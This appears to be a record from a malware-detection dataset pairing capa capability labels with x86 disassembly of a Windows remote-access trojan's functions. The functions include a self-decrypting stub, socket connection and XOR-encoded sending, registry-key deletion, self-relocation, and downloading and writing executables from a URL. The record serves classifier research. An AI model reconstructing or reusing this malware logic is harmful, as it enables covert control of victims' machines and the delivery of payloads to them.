joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000bc8a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x1000bc99
pop dword [ebp - 0x14]
mov eax, 0x81fcdeb8
add eax, 0x8e03dde1
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x38be7
push 0
mov eax, 0x6c0fa98d
sub eax, 0x5c0d1881
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0xec0d14e5
add ecx, 0x13f32b78
xor esi, esi
add esi, eax
mov edi, 0x23eea527
sub edi, 0x13ea3927
add edi, dword [ebp - 0x14]
mov ebx, 0xc1d78cda
add ebx, 0x4934f1e7
mov dword [ebp - 0xc], 0x5d0811bf
mov edx, dword [edi]
add dword [ebp - 0x10], edi
xor edx, ebx
mov dword [esi], edx
add esi, 0x7f306493
sub esi, 0x7f30648f
add edi, 0x241f84be
add edi, 0xdbe07b46
loop 0x1000bcfa
add eax, 0x98de14ca
sub eax, 0x98dd2083
mov ebx, eax
add eax, 5
mov ecx, 0x8774ff39
sub ecx, 0x7774ff39
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x10001050
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [0x10026008]
xor eax, esp
mov dword [esp + 0x198], eax
push esi
mov esi, ecx
lea eax, [esp + 8]
push eax
push 0x202
mov dword [esi], vtable.CClientSocket.0
mov dword [esi + 4], vtable.CBuffer.0
mov dword [esi + 0x10], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x14], vtable.CBuffer.0
mov dword [esi + 0x20], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x24], vtable.CBuffer.0
mov dword [esi + 0x30], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x34], vtable.CBuffer.0
mov dword [esi + 0x40], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x19c]
mov dword [esi + 0x4c], eax
mov eax, esi
mov dword [esi + 0x54], 0x207868
mov dword [esi + 0x48], 0xffffffff
pop esi
xor ecx, esp
call fcn.10008398
mov esp, ebp
pop ebp
ret

Function at 0x10001160
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10026008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
push 0xffffffffffffffff
lea esi, [edi + 0x57]
mov byte [esi], 0
push dword [edi + 0x44]
mov dword [edi], vtable.CClientSocket.0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [edi + 0x48]
cmp eax, 0xffffffff
je 0x100011d8
push 4
lea ecx, [ebp - 8]
mov dword [ebp - 8], 1
push ecx
push 0x80
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [edi + 0x48]
call dword [sym.imp.KERNEL32.dll_CancelIo]
xor eax, eax
xchg dword [esi], eax
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [edi + 0x4c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [edi + 0x48], 0xffffffff
push dword [edi + 0x44]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0x4c]
call esi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [edi + 0x38]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [edi + 0x34], vtable.CBuffer.0
test eax, eax
je 0x1000120c
push 0x8000
push 0
push eax
call esi
mov eax, dword [edi + 0x28]
mov dword [edi + 0x24], vtable.CBuffer.0
test eax, eax
je 0x10001224
push 0x8000
push 0
push eax
call esi
mov eax, dword [edi + 0x18]
mov dword [edi + 0x14], vtable.CBuffer.0
test eax, eax
je 0x1000123c
push 0x8000
push 0
push eax
call esi
mov eax, dword [edi + 8]
mov dword [edi + 4], vtable.CBuffer.0
test eax, eax
je 0x10001254
push 0x8000
push 0
push eax
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008398
mov esp, ebp
pop ebp
ret
Function at 0x10001270
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10026008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 8]
push edi
push 4
push eax
mov edi, ecx
mov dword [ebp - 8], 1
push 0x80
push 0xffff
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_setsockopt]
push dword [edi + 0x48]
call dword [sym.imp.KERNEL32.dll_CancelIo]
lea ebx, [edi + 0x57]
xor eax, eax
xchg dword [ebx], eax
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [edi + 0x4c]
call dword [sym.imp.KERNEL32.dll_SetEvent]
push dword [edi + 0x4c]
mov dword [edi + 0x48], 0xffffffff
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 6
push 1
push 2
mov byte [ebx], 0
call dword [sym.imp.WS2_32.dll_socket]
mov dword [edi + 0x48], eax
cmp eax, 0xffffffff
je 0x100013fe
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x100013fe
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x20], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1e], ax
mov eax, dword [esi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x100013fe
push 4
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 1
push eax
push 8
push 0xffff
push dword [edi + 0x48]
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10001392
push eax
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x2c], 1
push eax
push 0
push 0
push 0xc
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x28], 0x2bf20
push eax
push 0x98000004
push dword [edi + 0x48]
mov dword [ebp - 0x24], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0
push 0
push 0
push 0
mov byte [ebx], 1
mov dword [edi + 0x50], 0
mov dword [ebp - 0x30], 0x10001420
mov dword [ebp - 0x2c], edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x30]
push eax
push 0x10006540
push 0
push 0
call fcn.1000ec8b
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [edi + 0x44], esi
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008398
mov esp, ebp
pop ebp
ret 8
Function at 0x10001b80
Capabilities:
Encode data using xor
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 4], ecx
push esi
push edi
mov edi, dword [ebp + 8]
test ebx, ebx
jle 0x10001c10
cmp ebx, 0x40
jb 0x10001c01
movaps xmm1, xmmword [0x100235c0]
lea eax, [edi + 0x20]
movaps xmm2, xmmword [str.3333333333333333]
mov esi, ebx
and esi, 0xffffffc0
movups xmm0, xmmword [eax - 0x20]
add edx, 0x40
lea eax, [eax + 0x40]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax - 0x60], xmm0
movups xmm0, xmmword [eax - 0x50]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [eax - 0x40]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
cmp edx, esi
jl 0x10001bb3
cmp edx, ebx
jge 0x10001c10
mov al, byte [edx + edi]
sub al, 0x46
xor al, 0x33
mov byte [edx + edi], al
inc edx
cmp edx, ebx
jl 0x10001c01
xor esi, esi
mov eax, ebx
cmp ebx, 0x32000
mov dword [ebp - 8], esi
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov dword [ebp + 8], eax
jb 0x10001c79
nop dword [eax + eax]
xor esi, esi
push 0
push 0x32000
push edi
push dword [ecx + 0x48]
call ebx
test eax, eax
jg 0x10001c4e
mov ecx, dword [ebp - 4]
inc esi
cmp esi, 0xf
jl 0x10001c32
je 0x10001c9d
mov esi, dword [ebp - 8]
add edi, 0x32000
add esi, eax
push 0xa
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
sub eax, 0x32000
mov dword [ebp + 8], eax
cmp eax, 0x32000
jae 0x10001c30
test eax, eax
je 0x10001cae
xor esi, esi
nop
push 0
push eax
push edi
push dword [ecx + 0x48]
call ebx
mov edx, eax
test edx, edx
jg 0x10001ca9
mov eax, dword [ebp + 8]
inc esi
mov ecx, dword [ebp - 4]
cmp esi, 0xf
jl 0x10001c80
jne 0x10001ca9
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov esi, dword [ebp - 8]
add esi, edx
or eax, 0xffffffff
cmp esi, dword [ebp + 0xc]
pop edi
cmove eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10001cc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
mov eax, 0xaaaaaaab
mov dword [ebp - 0x70], 0x20001
mul dword [ebp + 0xc]
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x6c], 0x40003
mov ebx, edx
mov dword [ebp - 0x68], 0x60005
shr ebx, 1
mov eax, esi
push edi
mov dword [ebp - 0x64], 0x80007
mov dword [ebp - 0x60], 0x90009
mov dword [ebp - 0x5c], 0x70008
mov dword [ebp - 0x58], 0x50006
mov dword [ebp - 0x54], 0x30004
mov dword [ebp - 0x50], 0x10002
mov dword [ebp - 0x4c], 0x10000
mov dword [ebp - 0x48], 0x30002
mov dword [ebp - 0x44], 0x50004
mov dword [ebp - 0x40], 0x70006
mov dword [ebp - 0x3c], 0x90008
mov dword [ebp - 0x38], 0xb000a
mov dword [ebp - 0x34], 0xd000c
mov dword [ebp - 0x30], 0xf000e
mov dword [ebp - 0x2c], 0x110010
mov dword [ebp - 0x28], 0x130012
mov dword [ebp - 0x24], 0x120013
mov dword [ebp - 0x20], 0x100011
mov dword [ebp - 0x1c], 0x160015
mov dword [ebp - 0x18], 0x180017
mov dword [ebp - 0x14], 0x1a0019
mov dword [ebp - 0x10], 0x1c001b
mov dword [ebp - 0xc], 0x1d001d
mov dword [ebp - 8], 0x1b001c
mov dword [ebp - 4], 0x19001a
je 0x10001dc3
mov edi, dword [ebp + 8]
xor edx, edx
movzx ecx, si
cmp si, 0x38
cmovne edx, ecx
movzx edx, dx
mov cl, byte [ebp + edx*2 - 0x70]
xor byte [eax + edi], cl
inc eax
lea ecx, [edx + 1]
movzx esi, cx
cmp eax, ebx
jb 0x10001da2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10001e00
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x10026008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x110], ecx
push 0x104
lea eax, [ebp - 0x108]
mov dword [ebp - 0x10c], ebx
push ebx
push eax
call fcn.1000a170
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [ebp - 0x108]
dec edi
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10001e52
mov ax, word [0x10021b54]
mov edx, str.MUTEX_OBSFL
mov word [edi], ax
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x10001e70
lea edi, [ebp - 0x108]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10001e80
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x108]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10001ea0
mov eax, dword [str..key]
push 0
push 0x80
push 3
mov dword [ecx], eax
mov al, byte [0x10021b5c]
push 0
push 1
mov byte [ecx + 4], al
lea eax, [ebp - 0x108]
push connect
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 0x118], edi
cmp edi, 0xffffffff
je 0x10001fd8
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
push ebx
call fcn.100083b9
add esp, 4
mov esi, eax
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x114], esi
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor ecx, ecx
test ebx, ebx
je 0x10001f7f
cmp ebx, 0x40
jb 0x10001f72
movaps xmm2, xmmword [0x100235d0]
mov eax, ebx
and eax, 0x3f
mov edx, ebx
sub edx, eax
lea eax, [esi + 0x20]
movups xmm0, xmmword [eax - 0x20]
lea eax, [eax + 0x40]
add ecx, 0x40
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [eax - 0x60], xmm1
movups xmm0, xmmword [eax - 0x50]
pxor xmm0, xmm2
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [eax - 0x40]
pxor xmm0, xmm2
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
cmp ecx, edx
jb 0x10001f35
cmp ecx, ebx
jae 0x10001f7f
xor byte [ecx + esi], 0x62
inc ecx
cmp ecx, ebx
jb 0x10001f76
lea esi, [ebx + 1]
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
push ebx
mov ebx, dword [ebp - 0x114]
push ebx
lea eax, [edi + 1]
mov byte [edi], 5
push eax
call fcn.1000a330
mov ecx, dword [ebp - 0x110]
add esp, 0xc
mov ecx, dword [ecx + 4]
push esi
push edi
call fcn.100018f0
push edi
mov dword [ebp - 0x110], eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 1
push ebx
call fcn.100083ab
mov edi, dword [ebp - 0x118]
add esp, 8
mov ebx, dword [ebp - 0x110]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008398
mov esp, ebp
pop ebp
ret
Function at 0x10003620
Capabilities:
Check os version
Contain obfuscated stackstrings
Delete file
Delete registry key
Delete registry value
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c4
mov eax, dword [0x10026008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x104
lea eax, [ebp - 0x230]
push eax
push dword [0x10028020]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x104
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea eax, [ebp - 0x12c]
push eax
push str._s_d.bak
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x12c]
push eax
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
push 0
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 0x400
lea eax, [ebp - 0x52c]
push 0
push eax
call fcn.1000a170
push str.MUTEX_OBSFL
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x6e69614d
push eax
lea eax, [ebp - 0x52c]
mov dword [ebp - 0x14], 0x5c6c6c44
push eax
mov word [ebp - 0x10], 0x7325
mov byte [ebp - 0xe], 0
call esi
add esp, 0x18
mov dword [ebp - 0x28], 0x6e6e6f43
lea eax, [ebp - 0x5c4]
mov dword [ebp - 0x24], 0x47746365
mov dword [ebp - 0x20], 0x70756f72
mov byte [ebp - 0x1c], 0
push eax
push 2
push 0
lea eax, [ebp - 0x52c]
mov dword [ebp - 0xc], 0x74736f48
push eax
push connect
mov byte [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003745
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x5c4]
call esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x5c4]
call esi
push dword [ebp - 0x5c4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [ebp - 0x5c4]
push eax
push 2
push 0
push str.MainDll
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10003783
push str.MUTEX_OBSFL
push dword [ebp - 0x5c4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push dword [ebp - 0x5c4]
call esi
lea eax, [ebp - 0x5c0]
mov dword [ebp - 0x5c0], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x5b0], 2
pop esi
jne 0x100037c5
mov eax, dword [0x10027f1c]
mov ecx, 1
cmp dword [ebp - 0x5bc], 6
cmovae eax, ecx
mov dword [0x10027f1c], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008398
mov esp, ebp
pop ebp
ret
Function at 0x10003950
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
mov eax, dword [0x10026008]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
test edi, edi
je 0x10003a4b
lea eax, [ebp - 0x320]
push eax
push 0x1001c320
push 1
push 0
push 0x1001c340
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x10003a4b
mov eax, dword [ebp - 0x320]
lea edx, [ebp - 0x324]
push edx
push 0x1001c330
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
mov eax, dword [ebp - 0x320]
js 0x10003a45
mov esi, dword [eax]
call fcn.1000e9c9
push dword [eax]
push dword [ebp - 0x320]
call dword [esi + 0x50]
mov eax, dword [ebp - 0x320]
push 0x27b
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov eax, dword [ebp - 0x320]
push str.That_is_a_test
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x320]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x3c]
test ebx, ebx
je 0x10003a1e
push str..lnk
push ebx
push edi
lea eax, [ebp - 0x114]
push str._s_s_s
push eax
call fcn.10002e10
add esp, 0x14
jmp 0x10003a9b
call fcn.1000e9c9
push 0x5c
push dword [eax]
call fcn.10009e40
add esp, 8
test eax, eax
jne 0x10003a5e
mov eax, dword [ebp - 0x324]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x320]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10008398
mov esp, ebp
pop ebp
ret
push eax
push edi
lea eax, [ebp - 0x114]
push str._s_s
push eax
call fcn.10002e10
lea ecx, [ebp - 0x114]
add esp, 0x10
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003a80
sub ecx, edx
mov word [ebp + ecx - 0x117], 0x6e6c
mov byte [ebp + ecx - 0x115], 0x6b
push 0x104
lea eax, [ebp - 0x31c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x114]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x324]
lea edx, [ebp - 0x31c]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov ecx, dword [ebp - 0x324]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov ecx, dword [ebp - 0x320]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov ecx, dword [ebp - 8]
xor eax, eax
test esi, esi
pop edi
setns al
xor ecx, ebp
pop esi
pop ebx
call fcn.10008398
mov esp, ebp
pop ebp
ret
Function at 0x10003ee0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
mov eax, dword [0x10026008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x16c], edx
mov esi, ebx
push edi
lea edi, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10003f03
sub esi, edi
je 0x1000402a
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.1000a170
add esp, 8
lea eax, [ebp - 0x110]
mov edx, str.Applicationsiexplore.exe_shellopencommand
push 0x104
push ecx
push eax
push 1
push 0
mov ecx, connect
call fcn.10006af0
add esp, 0x18
test eax, eax
je 0x1000402a
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1000402a
lea eax, [ebp - 0x110]
push 0x10022018
push eax
call fcn.10009bd0
add esp, 8
test eax, eax
je 0x1000402a
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp dword [ebp - 0x16c], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x164], xmm0
movlpd qword [ebp - 0x15c], xmm0
movlpd qword [ebp - 0x154], xmm0
movlpd qword [ebp - 0x14c], xmm0
movlpd qword [ebp - 0x144], xmm0
movlpd qword [ebp - 0x13c], xmm0
movlpd qword [ebp - 0x134], xmm0
movlpd qword [ebp - 0x12c], xmm0
mov dword [ebp - 0x168], 0x44
je 0x10003fee
mov dword [ebp - 0x160], str.WinSta0Default
jmp 0x10004001
xor eax, eax
mov dword [ebp - 0x13c], 1
mov word [ebp - 0x138], ax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x168]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10008398
mov esp, ebp
pop ebp
ret
Function at 0x10004df0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [esi], vtable.CKernelManager.0
cmp dword [esi + 0xfac], ebx
jbe 0x10004e2f
push edi
lea edi, [esi + 0xc]
nop dword [eax + eax]
push 0xffffffffffffffff
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
lea edi, [edi + 4]
cmp ebx, dword [esi + 0xfac]
jb 0x10004e10
pop edi
push dword [esi + 8]
mov dword [esi], vtable.CManager.0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test byte [ebp + 8], 1
je 0x10004e52
push 0xfb4
push esi
call fcn.100083ab
add esp, 8
mov eax, esi
pop esi
pop ebx
pop ebp
ret 4
Function at 0x10006590
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10024038
push 0x100099f0
mov eax, dword fs:[0]
push eax
sub esp, 0x12c
mov eax, dword [0x10026008]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x12c], ecx
push str.user32.dll
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call edi
mov dword [ebp - 0x124], eax
push str.GetThreadDesktop
push eax
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov ebx, eax
push str.GetUserObjectInformationA
push dword [ebp - 0x124]
call esi
mov dword [ebp - 0x130], eax
push str.SetThreadDesktop
push dword [ebp - 0x124]
call esi
mov dword [ebp - 0x134], eax
push str.CloseDesktop
push dword [ebp - 0x124]
call esi
mov dword [ebp - 0x138], eax
push str.kernel32.dll
call edi
mov dword [ebp - 0x13c], eax
push 0x10022a20
push eax
call esi
call eax
push eax
call ebx
mov ebx, eax
mov esi, 1
mov dword [ebp - 0x128], esi
mov dword [ebp - 4], 0
lea eax, [ebp - 0x120]
push eax
push 0x100
lea eax, [ebp - 0x11c]
push eax
push 2
mov edi, dword [ebp - 0x12c]
push edi
call dword [ebp - 0x130]
test eax, eax
jne 0x10006686
xor esi, esi
mov dword [ebp - 0x128], esi
jmp 0x10006698
push edi
call dword [ebp - 0x134]
test eax, eax
je 0x1000667c
push ebx
call dword [ebp - 0x138]
mov dword [ebp - 4], 0xfffffffe
call fcn.100066c8
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10008398
mov esp, ebp
pop ebp
ret
Function at 0x100067e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x10026008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.wininet.dll
mov dword [ebp - 0x41c], edx
mov esi, 1
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x408], 0
mov dword [ebp - 0x40c], 0
mov byte [ebp - 0x40d], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.InternetOpenA
push edi
call ebx
push 0
push 0
push 0
push 0
push str.MSIE_6.0
call eax
mov dword [ebp - 0x418], eax
test eax, eax
je 0x10006881
push str.InternetOpenUrlA
push edi
call ebx
push 0
push connect
push 0
push 0
push dword [ebp - 0x414]
push dword [ebp - 0x418]
call eax
mov dword [ebp - 0x414], eax
test eax, eax
jne 0x1000689f
test edi, edi
je 0x1000688c
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10008398
mov esp, ebp
pop ebp
ret
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x41c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10006955
nop word [eax + eax]
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.1000a170
add esp, 0xc
push str.InternetReadFile
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x408]
push ecx
push 0x400
lea ecx, [ebp - 0x404]
push ecx
push dword [ebp - 0x414]
call eax
test esi, esi
je 0x1000691f
mov eax, 0x5a4d
cmp word [ebp - 0x404], ax
jne 0x10006947
xor esi, esi
lea eax, [ebp - 0x40c]
push esi
push eax
push dword [ebp - 0x408]
lea eax, [ebp - 0x404]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x408], esi
ja 0x100068d0
jmp 0x1000694e
mov byte [ebp - 0x40d], 0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x414]
mov esi, eax
call esi
push dword [ebp - 0x418]
call esi
test edi, edi
je 0x10006986
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x40d]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10008398
mov esp, ebp
pop ebp
ret